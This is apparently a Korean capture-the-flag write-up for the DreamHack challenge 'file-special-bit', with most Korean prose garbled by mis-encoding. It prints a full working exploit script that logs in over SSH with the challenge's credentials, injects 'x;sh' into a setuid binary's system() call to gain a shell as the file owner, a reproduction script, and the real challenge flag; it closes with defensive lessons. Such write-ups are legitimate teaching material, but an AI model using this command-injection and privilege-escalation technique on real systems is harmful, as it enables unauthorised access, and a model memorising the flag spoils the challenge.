c.sendline(EUID)
try:
c.expect(pexpect.EOF)
except pexpect.TIMEOUT:
pass
out = c.before
c.terminate(force=True)
return "\n".join(l for l in out.replace("\r", "").split("\n")[1:] if l.strip())
CASES = [
("chall", "flag"), # cat flag โ dream ์ด๋ผ ์ฝํ๋ค
("chall_nosetreuid", "flag"), # cat flag โ sh ๊ฐ ๊ถํ์ ๋จ์ด๋จ๋ ค ๋งํ๋ค
("chall", "x;id"), # cat x; id โ ์ฃผ์
๋ ๋ช
๋ น์ด ๋๋ uid ํ์ธ
("chall_nosetreuid", "x;id"), # cat x; id โ ๋์กฐ๊ตฐ
]
for binary, arg in CASES:
print(f"===== ./{binary} '{arg}' =====")
print(run(binary, arg))
print()
๋ค ์ค๋ก ์์ฝ๋๋ค.
| ์คํ | ์ถ๋ ฅ๋ ruid/euid | ๊ฒฐ๊ณผ |
|---|---|---|
chall flag | 2123 / 2123 | flag ๊ฐ ์ฝํ๋ค |
chall_nosetreuid flag | 1000 / 2123 | cat: flag: Permission denied |
chall x;id | 2123 / 2123 | ์ฃผ์
๋ id โ uid=2123(dream) |
chall_nosetreuid x;id | 1000 / 2123 | ์ฃผ์
๋ id โ uid=1000(chall) |
๋ง์ง๋ง ๋ ์ค์ด ๊ฒฐ์ ์ ์ด๋ค. ํ๋ก์ธ์ค์ euid ๋ ์์ชฝ ๋ค 2123 ์ธ๋ฐ, ์ฃผ์ ๋ ๋ช ๋ น์ด ๋๋ uid ๋ ์๋ณธ๋ง 2123 ์ด๋ค. ๋์กฐ๊ตฐ์์๋ dash ๊ฐ 1000 ์ผ๋ก ๋๋๋ ค ๋์๋ค.
์ฆ setreuid ๊ฐ ํ๋ ์ผ์ "๊ถํ์ ์ป๋ ๊ฒ"์ด ์๋๋ผ ์ด๋ฏธ ๊ฐ๊ณ ์๋ ๊ถํ์ sh ๊ฐ ๋บ์ด๊ฐ์ง ๋ชปํ๊ฒ ๋ชป ๋ฐ๋ ๊ฒ์ด๋ค. ํ๋ฉด์ ์ผ๋ก๋ ๊ทธ๋ฅ uid ๋ฅผ ์ ๋ฆฌํ๋ ๋ฌดํดํ ์ฝ๋์ฒ๋ผ ๋ณด์ด๋๋ฐ, system() ์์ ๋์ด๋ ์๊ฐ ๋ง์ง๋ง ๋ฐฉ์ด์ ์ ์ง์ด๋ค.
๐ Full Exploit
๊ฒฝ๋ก ํ๋์ฝ๋ฉ ์์ด ๋ถ์ด์ uid ๋ฅผ ์์๋ด๊ณ , ์ ธ์ ๋์ flag ๋ฅผ ๊ฐ์ ธ์ค๋ ์คํฌ๋ฆฝํธ๋ค. ๋ก์ปฌ ์ฌํ ์ปจํ ์ด๋์ ๋ผ์ด๋ธ ์๋ฒ ์์ชฝ์ ๊ฐ์ ์ฝ๋๋ก ๋ถ๋๋ค.
#!/usr/bin/env python3
"""file-special-bit (DreamHack, Silver 4 / misc) โ ์๋ ์ต์คํ๋ก์
setuid(dream) ๋ฐ์ด๋๋ฆฌ chall ์ ๊ตฌ์กฐ:
char filename[10]; char cmd[20];
memcpy(filename, argv[1], sizeof(filename)); // 10๋ฐ์ดํธ
snprintf(cmd, 19, "cat %s", filename); // 18๊ธ์ + NUL
scanf("%d", &ruid); scanf("%d", &euid);
if (ruid == getuid() && euid == geteuid()) {
setreuid(geteuid(), geteuid()); // real = effective = dream
system(cmd);
}
argv[1] ์ด ๊ทธ๋๋ก `/bin/sh -c "cat <argv[1]>"` ์ ๋ค์ด๊ฐ๋ฏ๋ก `;` ๋ก ๋ช
๋ น์ ๋ง๋ถ์ผ ์ ์๋ค.
๋ณดํต setuid ๋ฐ์ด๋๋ฆฌ์ system() ์ sh ๊ฐ uid != euid ๋ฅผ ๋ณด๊ณ ๊ถํ์ ๋จ์ด๋จ๋ ค ๋งํ๋๋ฐ,
์ด ๋ฌธ์ ๋ ๊ทธ ์ง์ ์ setreuid(geteuid(), geteuid()) ๋ก real uid ๊น์ง dream ์ผ๋ก ๋ง์ถฐ ๋ฒ๋ ค์
sh ๊ฐ ๋จ์ด๋จ๋ฆด ๊ถํ์ด ๋จ์ง ์๋๋ค. ๊ทธ๋์ ์ฃผ์
ํ ์
ธ์ด dream ๊ทธ๋๋ก ๋ฌ๋ค.
filename ์ด 10๋ฐ์ดํธ๋ผ `/home/dream/flag` ๊ฐ์ ์ ์ฒด ๊ฒฝ๋ก๋ `/home/drea` ๋ก ์๋ฆฐ๋ค.
๊ทธ๋์ ๊ฒฝ๋ก๋ฅผ ๋ฃ๋ ๊ฒ ์๋๋ผ ์
ธ์ ๋์์ dream ๊ถํ์ผ๋ก flag ๋ฅผ ์ฝ๋๋ค.
์ฌ์ฉ๋ฒ:
python3 solve.py --docker # ๋ก์ปฌ ์ฌํ ์ปจํ
์ด๋
python3 solve.py --host host1.dreamhack.games --port 10001 # ๋ผ์ด๋ธ ์๋ฒ
"""
import argparse
import re
import sys
import pexpect
SSH_USER = "chall"
SSH_PASS = "dhbeginnerchall1"
PAYLOAD = "x;sh" # cat x (์คํจ) โ sh โป 10๋ฐ์ดํธ ์ด๋ด์ฌ์ผ ํ๋ค
MARK = "FSBMARK"
FLAG_RE = re.compile(r"DH\{[^}\s]+\}")
ANSI_RE = re.compile(r"\x1b\[[0-9;?]*[a-zA-Z]|\x1b\][^\x07]*\x07|\x1b[=>]")
def run(c, cmd, timeout=20):
"""์
ธ์ ๋ช
๋ น์ ๋ฃ๊ณ ๋ง์ปค๊น์ง์ ์ถ๋ ฅ์ ๋๋ ค์ค๋ค.
๋ง์ปค๋ฅผ `FSB"MARK"` ๋ก ์ชผ๊ฐ ๋ณด๋ด๋ ๊ฒ ์๋ น์ด๋ค. ๊ทธ๋๋ก ๋ณด๋ด๋ฉด tty ๊ฐ ๋ช
๋ น์ค์
๋์ธ๋ฆด ๋ ๊ทธ ์์ฝ๊ฐ ๋จผ์ ๋ง์ปค์ ๊ฑธ๋ ค์, ์ถ๋ ฅ ๋์ ๋ช
๋ น ๋ฌธ์์ด์ ์ฝ๊ฒ ๋๋ค.
"""
c.sendline(f'{cmd}; echo FSB"MARK"')
c.expect(MARK + r"\r?\n", timeout=timeout)
body = ANSI_RE.sub("", c.before).replace("\r", "")
# ์ฒซ ์ค์ ์
ธ์ด ๋๋๋ ค์ค ๋ช
๋ น ์์ฒด๋ผ ๋ฒ๋ฆฐ๋ค
return "\n".join(body.split("\n")[1:]).strip()
def connect(args):
if args.docker:
c = pexpect.spawn("docker", ["run", "--rm", "-it", args.image, "/bin/bash"],
encoding="utf-8", timeout=30)
c.sendline("")
return c
c = pexpect.spawn(
"ssh",
["-tt", "-p", str(args.port),
"-o", "StrictHostKeyChecking=no", "-o", "UserKnownHostsFile=/dev/null",
"-o", "LogLevel=ERROR",
f"{SSH_USER}@{args.host}"],
encoding="utf-8", timeout=45)
c.expect(["[Pp]assword:", "passphrase"], timeout=45)
c.sendline(SSH_PASS)
return c
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--docker", action="store_true", help="๋ก์ปฌ ์ฌํ ์ปจํ
์ด๋์ ๋ถ๋๋ค")
ap.add_argument("--image", default="fsb-repro")
ap.add_argument("--host")
ap.add_argument("--port", type=int)
a = ap.parse_args()
if not a.docker and not (a.host and a.port):
ap.error("--docker ์ด๊ฑฐ๋ --host/--port ๋ฅผ ์ค์ผ ํ๋ค")
c = connect(a)
# 1) setuid ๋ฐ์ด๋๋ฆฌ ์์น์ ์์ ์๋ฅผ ์ฐพ๋๋ค (๊ฒฝ๋ก/uid ๋ฅผ ํ๋์ฝ๋ฉํ์ง ์๋๋ค)
# ์ด๋ฆ์ด chall ์ธ ๊ฒ์ ๋จผ์ ๋ณธ๋ค โ ์ฌํ ํ๊ฒฝ์๋ ๋์กฐ๊ตฐ ๋ฐ์ด๋๋ฆฌ๋ ๊ฐ์ด ๋ค์ด ์์ด
# ๋ฒ์๋ฅผ ๋๊ฒ ์ก์ผ๋ฉด ๊ทธ์ชฝ์ด ๋จผ์ ๊ฑธ๋ฆฐ๋ค.
binpath = run(c, "find / -perm -4000 -type f -name chall 2>/dev/null | head -1")
binpath = binpath.split("\n")[-1].strip()
if not binpath.startswith("/"):
binpath = run(c, "find / -perm -4000 -type f 2>/dev/null "
"| grep -vE '^/(usr|bin|sbin|opt)/' | head -1")
binpath = binpath.split("\n")[-1].strip()
print(f"[+] setuid ๋ฐ์ด๋๋ฆฌ : {binpath}")
ruid = run(c, "id -u").split("\n")[-1].strip()
euid = run(c, f"stat -c %u {binpath}").split("\n")[-1].strip()
print(f"[+] getuid()={ruid} geteuid()={euid} (๋ฐ์ด๋๋ฆฌ ์์ ์)")
# 2) ๋ช
๋ น ์ฃผ์
โ cat ์ ์คํจ์ํค๊ณ ๋ค์ sh ๋ฅผ dream ๊ถํ์ผ๋ก ๋์ด๋ค
print(f"[*] ์คํ: {binpath} '{PAYLOAD}'")
c.sendline(f"{binpath} '{PAYLOAD}'")
c.expect("Your ruid :")
c.sendline(ruid)
c.expect("Your euid :")
c.sendline(euid)
c.expect(r"Your ruid : \d+ Your euid : \d+")
print(f"[+] ๊ฒ์ฌ ํต๊ณผ โ {c.after.strip()}")
# 3) ๋ฌ ์
ธ์ด ์ ๋ง dream ์ธ์ง ํ์ธ
who = run(c, "id")
print(f"[+] ์ฃผ์
๋ ์
ธ : {who.splitlines()[-1] if who else '?'}")
# 4) flag ์ฝ๊ธฐ โ ํ์ ์๋ flag ๋ฅผ ๋จผ์ ๋ณด๊ณ , ์์ผ๋ฉด ์ฐพ์ ๋์ ๋ค
out = run(c, "cat flag 2>/dev/null || cat /home/dream/flag 2>/dev/null || "
"find / -name 'flag*' -type f 2>/dev/null | head -5", timeout=60)
m = FLAG_RE.search(out)
if not m:
# ๊ฒฝ๋ก๋ง ๋์์ผ๋ฉด ๊ทธ ๊ฒฝ๋ก๋ฅผ ์ฝ๋๋ค
for path in out.split("\n"):
path = path.strip()
if not path.startswith("/"):
continue
body = run(c, f"cat {path}")
m = FLAG_RE.search(body)
if m:
break
c.sendline("exit")
c.close(force=True)
if not m:
print("[-] flag ๋ฅผ ๋ชป ์ฐพ์๋ค. ๋ง์ง๋ง ์ถ๋ ฅ:\n" + out)
sys.exit(1)
print(f"\nFLAG: {m.group(0)}")
if __name__ == "__main__":
main()
find ๋ก setuid ๋นํธ๊ฐ ๋ถ์ ํ์ผ์ ๋จผ์ ์ฐพ๊ณ , stat -c %u ๋ก ์์ ์ uid ๋ฅผ ์ฝ์ด ๊ทธ๋๋ก ์
๋ ฅํ๋ค. ๊ฒ์ฌ๋ฅผ ํต๊ณผํ ๋ค ์ฃผ์
๋ ์
ธ์์ id ๋ฅผ ์ฐ์ด ๋ณด๋ฉด uid=2123(dream) ์ด๋ค. ๊ทธ ์ํ๋ก cat flag ๋ฅผ ํ๋ฉด ๋์ด๋ค.
FLAG: DH{22bb569daa84da7bda39cd78607ab31a88958725a52b78d87542425782d9a861}์ฌํ ์คํฌ๋ฆฝํธ
๋์ค์ ๋ฐฑ์ ๋ง ๋ค๊ณ ์๋ ๋ฐ๋ก ๋๋ ค๋ณผ ์ ์๊ฒ ํ ๋ฐฉ ์คํฌ๋ฆฝํธ๋ฅผ ๋จ๊ฒผ๋ค. ๋ผ์ด๋ธ ์๋ฒ๋ ๋งค๋ฒ ์๋ก ๋์์ผ ํ๊ณ host/port ๊ฐ ๋ฐ๋๋ฏ๋ก ์ธ์๋ก ๋ฐ๋๋ค.
#!/usr/bin/env bash
# file-special-bit (DreamHack, Silver 4) โ ํ ๋ฐฉ ์ฌํ
#
# ./reproduce.sh <host> <port> ๋ผ์ด๋ธ ์๋ฒ์ ๋ถ์ด ์ง์ง flag ๋ฅผ ๋ฐ๊ณ ๋์กฐํ๋ค
# ./reproduce.sh --local ๋ก์ปฌ docker ์ฌํ์ผ๋ก ๊ธฐ๋ฒ์ด ๋๋์ง๋ง ํ์ธํ๋ค
set -eu
cd "$(dirname "$(readlink -f "$0")")"
EXPECT='DH{22bb569daa84da7bda39cd78607ab31a88958725a52b78d87542425782d9a861}'
usage() { sed -n '2,9p' "$0"; exit 2; }
[ $# -ge 1 ] || usage
if [ "$1" = "--local" ]; then
echo "[*] ๋ก์ปฌ ์ฌํ ์ปจํ
์ด๋ ๋น๋"
( cd local_repro && cp -f ../extracted/chall . && docker build -q -t fsb-repro . >/dev/null )
OUT=$(timeout 300 python3 solve.py --docker 2>&1) || true
echo "$OUT" | tail -8
# ๋ก์ปฌ flag ๋ ์ฌํ์ฉ ๋๋ฏธ๋ค. ์ด๊ฑธ ์ ๋ต์ฒ๋ผ ํต๊ณผ์ํค์ง ์๋๋ค.
if printf '%s' "$OUT" | grep -q 'DH{LOCAL_REPRO_DUMMY_not_the_real_flag}'; then
echo; echo "โ
๊ธฐ๋ฒ ํ์ธ (๋ก์ปฌ ์ฌํ ๋๋ฏธ flag). ์ง์ง flag ๋ ๋ผ์ด๋ธ ์๋ฒ์์๋ง ๋์จ๋ค."
exit 0
fi
echo; echo "โ FAIL โ ๋ก์ปฌ ์ฌํ์์ ๋๋ฏธ flag ๋ฅผ ๋ชป ๋ฝ์๋ค"; exit 1
fi
[ $# -eq 2 ] || usage
OUT=$(timeout 300 python3 solve.py --host "$1" --port "$2" 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ "$FLAG" = "$EXPECT" ]; then
echo; echo "โ
PASS $FLAG"; exit 0
fi
echo; echo "โ FAIL (์ป์ ๊ฐ: '${FLAG:-์์}' / ๊ธฐ๋: '$EXPECT')"; exit 1
๋ก์ปฌ ๋ชจ๋๋ ๋๋ฏธ flag ๋ก ๋๋๊น PASS ๋ผ๊ณ ์ฐ์ง ์๊ณ "๊ธฐ๋ฒ ํ์ธ"์ผ๋ก๋ง ํ์ํ๋ค. ์ฌํ ์คํฌ๋ฆฝํธ๊ฐ ๊ฐ์ง ๊ฐ์ ํต๊ณผ์ํค๊ธฐ ์์ํ๋ฉด ๋ฐฑ์
์ ์ฒด๋ฅผ ๋ชป ๋ฏฟ๊ฒ ๋๋ค.
๐ ๊ฒฐ๋ก
setuid ๋ฐ์ด๋๋ฆฌ์์ system() ์ ๋ถ๋ฅด์ง ์๋๋ค
system() ์ /bin/sh -c ๋ฅผ ๊ฑฐ์น๋ฏ๋ก ์
๋ ฅ์ ์ธ๋ฏธ์ฝ๋ก ยท๋ฐฑํฑยท$() ๊ฐ ํ๋๋ง ์์ฌ๋ ์์ ๋ช
๋ น์ด ๋๋ค. ์ธ์๋ฅผ ์๋ฌด๋ฆฌ ๊ฒ์ฆํด๋ ์
ธ ๋ฌธ๋ฒ ์ ์ฒด๋ฅผ ๋ฐฉ์ดํ๋ ๊ฑด ์ด๋ ต๋ค.
๊ผญ ์ธ๋ถ ํ๋ก๊ทธ๋จ์ ์คํํด์ผ ํ๋ค๋ฉด execve ๊ณ์ด๋ก ์ธ์ ๋ฐฐ์ด์ ์ง์ ๋๊ธด๋ค. ์
ธ์ด ๋ผ์ง ์์ผ๋ฉด ๋ฉํ๋ฌธ์๋ ๊ทธ๋ฅ ํ์ผ ์ด๋ฆ์ ์ผ๋ถ์ผ ๋ฟ์ด๋ค.
setreuid(geteuid(), geteuid()) ๋ ๋ฌดํดํด ๋ณด์ด์ง๋ง ์์ ์ฅ์น๋ฅผ ์ง์ด๋ค
์ด ํ ์ค์ "uid ๋ฅผ ๊น๋ํ๊ฒ ์ ๋ฆฌํ๋ค"๋ ์ธ์์ ์ฃผ์ง๋ง, ์ค์ ํจ๊ณผ๋ sh ๊ฐ ๊ถํ์ ๋๋๋ฆด ๊ทผ๊ฑฐ๋ฅผ ์์ ๋ ๊ฒ์ด๋ค. dash ์ -p ์ต์
์ค๋ช
์ด ๋งํ๋ ๊ทธ ์ค์ฉ ์ฌ๋ก๊ฐ ์ ํํ ์ด ํํ๋ค.
๊ถํ์ด ํ์ํ ๊ตฌ๊ฐ์ด ๋๋ฌ์ผ๋ฉด ์คํ๋ ค ๋ฐ๋๋ก, setresuid ๋ก saved uid ๊น์ง ์๋ ์ฌ์ฉ์๋ก ๋จ์ด๋จ๋ ค ๋๋์์ฌ ๊ธธ์ ๋ง๋ ๊ฒ ๋ง๋ค.
๋ฒํผ ํฌ๊ธฐ ์์๋ ์ฝ๋๊ฐ ์๋๋ผ ๋ช ๋ น์ผ๋ก ํ์ธํ๋ค
์์ค์ 10 ๊ณผ 19 ๊ฐ ์ ํ ์์ด๋ ์ปดํ์ผ ๊ฒฐ๊ณผ๊ฐ ์ด๋ป๊ฒ ๋๋์ง๋ ๋ณ๊ฐ๋ค. ์ด๋ฒ์ memcpy ๊ฐ ์ธ๋ผ์ธ๋๋ฉด์ 8+2 ๋ก ์ชผ๊ฐ์ก๊ณ , filename ์ NUL ์ด ์ ๋ค์ด๊ฐ ๋ค ์คํ ๋ฐ์ดํธ์ ๊ฒฐ๊ณผ๊ฐ ์์กดํ๊ฒ ๋๋ค. objdump ๋ก ์์๋ฅผ ํ์ธํ๊ณ gdb ๋ก ์คํ ์ค ๋ฒํผ๋ฅผ ๋ ๋ณด๋ฉด ์ถ์ธกํ ์ผ์ด ์๋ค.
์ต์ ๊ถํ์ ํ์ผ ๋ฐฐ์น์์ ์์ํ๋ค
flag ๋ฅผ ์ฝ๋ ์ฃผ์ฒด๊ฐ dream ๋ฟ์ด๋ผ๋ฉด ๊ตณ์ด chall ์ ํ์ ๋ ์ด์ ๊ฐ ์๋ค. ํ์ผ์ด /home/chall ์ ์์๊ธฐ ๋๋ฌธ์ ์งง์ ์๋ ๊ฒฝ๋ก ํ๋๋ก๋ ์ด๋ ธ๊ณ , 10๋ฐ์ดํธ ์ ํ์ด ์ฌ์ค์ ๋ฌด๋ ฅํด์ก๋ค. ๊ถํ ๋นํธ๋ง ์ฑ๊ธฐ๊ณ ์์น๋ฅผ ์ ์ฑ๊ธฐ๋ฉด ๊ณต๊ฒฉ ํ๋ฉด์ด ๋์ด์ง๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ